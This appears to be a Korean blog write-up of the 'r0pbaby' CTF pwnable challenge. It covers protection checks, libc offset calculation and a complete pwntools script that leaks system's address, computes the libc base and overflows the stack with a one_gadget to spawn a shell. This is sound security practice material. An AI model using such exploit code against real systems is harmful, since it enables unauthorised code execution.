r0pbaby
System/PWNABLE

r0pbaby

728x90

checksec

NX, PIE 걸려있음

(PIE: 프로그램 실행할 때마다 전역변수와 사용자 정의 함수의 주소가 매번 달라진다)

→ offset으로 접근

64 bit 

 

Pseudo Code

굉장히 긴 main함수의 pseudo code....

savedregs에서 [rbp+0]로 SFP임을 알 수 있다

debugging

pwndbg로 실행시켰을 때

 

RDI, RSI, RDX,RCX, R8, R9 순으로 파라미터 전달.

 

offset 구하기

system - libc offset = 0x453a0

binsh - libc offset = 0x18ce17

 

onegadget

gadget- libc offset = 0x45226

 

payload 작성

2번 메뉴를 통해 system 주소를 얻고, libc.symbols['symbols']로 구한 주소값의 offset으로 libc_base를 얻고 one_gadget(pop_rdi + binsh)을 system의 인자로 전달하는 방식으로 payload를 작성했다.

# coding: utf-8
from pwn import *
from struct import *
#context.log_level = 'debug'
elf = ELF('./r0pbaby')
libc = elf.libc
p = process('./r0pbaby')

one_gadget = 0x45226
sys_offset = 0x453a0

p.sendline("2")
p.sendlineafter("symbol: ", "system")
p.recvuntil("system: ")
sys_add = int(p.recvuntil("\n"), 16)
libc_base = sys_add - libc.symbols['system']

pl = "A"*8
pl += p64(one_gadget + libc_base)
#pl += "A"*8
#pl += p64(libc_base + sys_offset)

p.sendline("3")
p.sendlineafter(":", str(len(pl)+1))
p.sendline(pl)

p.sendline("4")

p.interactive()

!성공!

 

 

 

 

 

 

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] pwning  (0) 2020.07.18
BaskinRobins31  (0) 2020.07.12
babyROP  (0) 2020.06.21
simpleROP  (0) 2020.06.14
shot  (0) 2020.06.01